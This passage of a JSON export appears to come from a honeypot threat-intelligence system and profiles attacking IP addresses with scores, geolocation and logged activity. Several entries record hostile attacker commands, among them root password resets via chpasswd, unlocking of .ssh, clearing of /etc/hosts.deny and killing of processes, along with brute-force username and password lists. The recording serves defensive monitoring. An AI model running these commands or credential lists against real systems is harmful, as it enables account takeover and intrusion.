        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 805,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:37:25.337000+00:00",
        "last_seen_30d": "2026-05-19T02:29:10.778000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 668,
        "Suricata": 137
      }
    },
    "160.119.76.4": {
      "attack_count": 612,
      "first_seen": "2026-05-16T22:45:00.751Z",
      "last_seen": "2026-05-21T14:32:00.372Z",
      "sessions": 144,
      "ports": [],
      "usernames_attempted": [
        "Accept: */*",
        "User-Agent: python-requests/2.27.1",
        "Connection: keep-alive",
        "GET / HTTP/1.1",
        "GET // HTTP/1.1",
        "GET /_asterisk/graph.php HTTP/1.1",
        "GET /_asterisk/phpversions.php HTTP/1.1",
        "GET /assets/phpversions.php HTTP/1.1",
        "GET /phpversions.php HTTP/1.1",
        "GET /recordings/misc/graph.php HTTP/1.1",
        "GET /recordings/misc/phpversions.php HTTP/1.1",
        "GET /vtigercrm/phpversions.php HTTP/1.1",
        "GET //admin/config.php HTTP/1.1",
        "GET /admin/assets/js/views/login.js HTTP/1.1",
        "GET /admin/views/phpversions.php HTTP/1.1",
        "GET /assets/graph.php HTTP/1.1",
        "GET /graph.php HTTP/1.1",
        "GET /vtigercrm/graph.php HTTP/1.1",
        "GET //remote/login?lang=en HTTP/1.1",
        "GET /a2billing/admin/Public/graph.php HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip, deflate",
        "Host: 172.105.186.117:23",
        "Connection: keep-alive",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "commands_executed": [
        "",
        "Accept: */*",
        "User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.119.1.el7.x86_64"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1078632,
        "days_active_30d": 16,
        "ports_targeted_30d": 68301,
        "honeypots_triggered_30d": 20,
        "first_seen_30d": "2026-05-16T22:37:54.495000+00:00",
        "last_seen_30d": "2026-05-31T22:19:16.641000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 767016,
        "Honeytrap": 307887,
        "Cowrie": 612,
        "Miniprint": 548,
        "ConPot": 534,
        "Mailoney": 476,
        "Sentrypeer": 471,
        "Redishoneypot": 243,
        "Dionaea": 218,
        "Adbhoney": 151,
        "Dicompot": 103,
        "ElasticPot": 96,
        "H0neytr4p": 83,
        "Tanner": 67,
        "Ipphoney": 66,
        "Honeyaml": 17,
        "Ciscoasa": 14,
        "CitrixHoneypot": 13,
        "Medpot": 8
      }
    },
    "43.128.72.189": {
      "attack_count": 414,
      "first_seen": "2026-05-17T04:36:58.895Z",
      "last_seen": "2026-05-17T20:57:35.211Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweasdzxc",
        "123qweqwe",
        "1qasw23edfr45tghy67uj",
        "1qaz@3edc",
        "2013",
        "20192019",
        "3lch3",
        "4444",
        "8ik,9ol.0p;/",
        "Admin!QAZXSW",
        "Husamaja",
        "Mobile@123",
        "Mustang",
        "Password123x",
        "VPS",
        "Voiture1@3",
        "admin123$%^",
        "asdfgh123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JDgtWpQ4OL9J\"|chpasswd|bash",
        "echo \"root:T7Mi4nhdIBMR\"|chpasswd|bash",
        "echo \"root:jmND9au1xeWQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:36:58.895000+00:00",
        "last_seen_30d": "2026-05-17T20:58:36.422000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 108
      }
    },
    "175.107.32.186": {
      "attack_count": 381,
      "first_seen": "2026-05-20T16:21:27.145Z",
      "last_seen": "2026-05-22T12:43:28.407Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ting",
        "yuyu",
        "abc",
        "ajay",
        "buyongke",
        "centos",
        "hao",
        "info",
        "kafka",
        "kong",
        "lab",
        "mahdi",
        "newroot",
        "plesk",
        "sangfor",
        "shimizu",
        "shu"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "010101",
        "123",
        "19950520",
        "1Qaz2wsx!@#",
        "1qaz@WSX1234",
        "Admin!@#123",
        "Administrat0r",
        "QWER1234qwer",
        "Qwerty!23",
        "admin",
        "admin2025",
        "ajay",
        "batman",
        "buyongke",
        "centos123",
        "hao",
        "info"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n8bVDQ0MfHQew\\n8bVDQ0MfHQew\\n\"|passwd",
        "echo \"123456\\nG0pc5ZdMY6GT\\nG0pc5ZdMY6GT\\n\"|passwd",
        "echo \"root:fzVf7NXGW7tb\"|chpasswd|bash",
        "echo -e \"123456\\n8bVDQ0MfHQew\\n8bVDQ0MfHQew\"|passwd|bash",
        "echo -e \"123456\\nG0pc5ZdMY6GT\\nG0pc5ZdMY6GT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:21:27.145000+00:00",
        "last_seen_30d": "2026-05-22T12:44:32.981000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 96
      }
    },
    "45.64.74.51": {
      "attack_count": 281,
      "first_seen": "2026-05-30T17:04:40.084Z",
      "last_seen": "2026-05-30T17:32:13.534Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oo",
        "wiki",
        "book",
        "deploy",
        "linda",
        "mamy",
        "nia",
        "prueba",
        "sammy",
        "story",
        "transfer",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1qaz2wsx",
        "Admin123456*",
        "mamamiya",
        "mamy",
        "nia",
        "password",
        "password123",
        "qw12QW!@",
        "story",
        "test",
        "transfer",
        "wiki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nkUrrbPMHKOyq\\nkUrrbPMHKOyq\\n\"|passwd",
        "echo \"root:qtK5BFGThYR0\"|chpasswd|bash",
        "echo \"wiki123\\nHor4GSInLM1Q\\nHor4GSInLM1Q\\n\"|passwd",
        "echo -e \"123\\nkUrrbPMHKOyq\\nkUrrbPMHKOyq\"|passwd|bash",
        "echo -e \"wiki123\\nHor4GSInLM1Q\\nHor4GSInLM1Q\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:04:40.084000+00:00",
        "last_seen_30d": "2026-05-30T17:33:22.243000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 47
      }
    },
    "156.255.1.208": {
      "attack_count": 275,
      "first_seen": "2026-05-23T17:12:34.369Z",
      "last_seen": "2026-05-25T03:28:58.049Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "joao",
        "sistema",
        "ardi",
        "cloud",
        "curl",
        "debian",
        "es",
        "hosting",
        "kevin",
        "kian",
        "minecraft",
        "new",
        "rodrigo",
        "root1",
        "super",
        "ubuntu",
        "usman",
        "vncuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1",
        "12!@qwQW",
        "123",
        "123123",
        "12345Qwerty",
        "1Qazxsw23edc",
        "Aa111111",
        "Aa123456",
        "Ab123123",
        "Minecraft",
        "P@$$word123456",
        "Password1234",
        "Server@12",
        "Ubuntu123!",
        "Wangsu@2017",
        "Yz123456@",
        "admin123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sistema\\nKhVRmWye1llB\\nKhVRmWye1llB\\n\"|passwd",
        "echo -e \"sistema\\nKhVRmWye1llB\\nKhVRmWye1llB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:12:34.369000+00:00",
        "last_seen_30d": "2026-05-25T03:30:01.239000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 275,
        "Suricata": 98
      }
    },
    "160.251.185.39": {
      "attack_count": 257,
      "first_seen": "2026-05-31T04:56:16.598Z",
      "last_seen": "2026-05-31T05:15:58.878Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "erick",
        "paul",
        "ftpuser",
        "oracle",
        "qw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe123",
        "232323",
        "Aa1234567890!",
        "P@ssw0rd@2026",
        "erick",
        "ftpuser1",
        "oracle#123",
        "paul",
        "qw",
        "r00tme"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"P@ssw0rd@2026\\nstOvBtG3atMv\\nstOvBtG3atMv\\n\"|passwd",
        "echo \"erick\\nm4ZUK5Yf5i9a\\nm4ZUK5Yf5i9a\\n\"|passwd",
        "echo \"paul\\nDezjKGRK04dK\\nDezjKGRK04dK\\n\"|passwd",
        "echo -e \"P@ssw0rd@2026\\nstOvBtG3atMv\\nstOvBtG3atMv\"|passwd|bash",
        "echo -e \"erick\\nm4ZUK5Yf5i9a\\nm4ZUK5Yf5i9a\"|passwd|bash",
        "echo -e \"paul\\nDezjKGRK04dK\\nDezjKGRK04dK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T04:56:16.598000+00:00",
        "last_seen_30d": "2026-05-31T05:17:00.986000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "43.134.38.185": {
      "attack_count": 236,
      "first_seen": "2026-05-17T08:47:36.412Z",
      "last_seen": "2026-05-17T09:19:20.847Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456aa",
        "1q@W3e$R5t",
        "Control2017",
        "Pentium",
        "Qwerty!23",
        "ampulare",
        "cookie",
        "deneme",
        "dolphin1",
        "dragonfly",
        "drishti",
        "fengjun",
        "integrated",
        "k0nig02021",
        "kwiatek",
        "qh@123",
        "security",
        "sysadmin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3kDx0JFgQecC\"|chpasswd|bash",
        "echo \"root:HCeb4m7L80Y4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:47:36.412000+00:00",
        "last_seen_30d": "2026-05-17T09:20:27.350000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "202.188.47.41": {
      "attack_count": 219,
      "first_seen": "2026-05-05T06:15:25.089Z",
      "last_seen": "2026-05-05T06:51:45.504Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "test",
        "user",
        "guest",
        "345gs5662d34",
        "deployer",
        "git",
        "guest123",
        "mysql",
        "sftpuser",
        "speedtest",
        "teste"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123qwe@",
        "1a2b3c!@#",
        "1q2w3e4r5",
        "1q2w3e4r5t6y",
        "1qaz2wsx#EDC",
        "1z2x3c4v",
        "20232023",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf1234",
        "P@ssw0rd",
        "abc12345",
        "admin1121",
        "demo12",
        "git123git",
        "guest123",
        "guest12345678",
        "help"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"guest12345678\\nMfzt0IvQ3tUz\\nMfzt0IvQ3tUz\\n\"|passwd",
        "echo -e \"guest12345678\\nMfzt0IvQ3tUz\\nMfzt0IvQ3tUz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cheras",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:15:25.089000+00:00",
        "last_seen_30d": "2026-05-05T06:52:54.165000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "20.187.184.86": {
      "attack_count": 194,
      "first_seen": "2026-05-03T21:29:00.361Z",
      "last_seen": "2026-05-03T23:53:35.484Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "dev",
        "user",
        "345gs5662d34",
        "admin2",
        "administrator",
        "afcadmin",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hduser",
        "minecraft",
        "serv",
        "server",
        "testuser",
        "testwww",
        "tim",
        "ts3"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "00000000",
        "1",
        "123456789",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "54321",
        "88888888",
        "A1234567a",
        "P@ssw0rd!",
        "P@ssw0rd123",
        "abc123.",
        "admin123",
        "afcadmin",
        "debian",
        "dev12345678",
        "ericsson",
        "git2023"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"54321\\nA8Ir9cRbzQuh\\nA8Ir9cRbzQuh\\n\"|passwd",
        "echo -e \"54321\\nA8Ir9cRbzQuh\\nA8Ir9cRbzQuh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:29:00.361000+00:00",
        "last_seen_30d": "2026-05-03T23:54:37.068000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 62
      }
    },
    "172.211.56.214": {
      "attack_count": 193,
      "first_seen": "2026-05-31T07:21:21.226Z",
      "last_seen": "2026-05-31T21:41:02.230Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "angel",
        "ankit",
        "ann",
        "app",
        "dd",
        "factorio",
        "guest",
        "jenkins",
        "lee",
        "steam",
        "tempuser",
        "test",
        "vitor"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "123",
        "1234qwerASDF",
        "123qwe",
        "1q2w3e4r5T",
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd@1234",
        "Abc123++",
        "Qwer@123",
        "Ty123456",
        "admin_123",
        "ankit@123",
        "ann12345",
        "as123456",
        "dd",
        "newpassword",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LZDXew87Kv62\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:21:21.226000+00:00",
        "last_seen_30d": "2026-05-31T21:42:07.100000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "114.111.54.189": {
      "attack_count": 148,
      "first_seen": "2026-05-28T01:59:28.226Z",
      "last_seen": "2026-05-28T02:29:44.408Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "core",
        "diquest",
        "eadmin",
        "frank",
        "newuser",
        "satisfactory",
        "sysadmin",
        "tsserver",
        "zak"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc$RFV",
        "Bingo@1993",
        "blackbird",
        "core",
        "diquest",
        "eadmin",
        "fjbdfdjkdsfs541544",
        "newuser@123",
        "qq147258",
        "satisfactory",
        "sebas123",
        "sh@123456",
        "tsserver",
        "zak"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
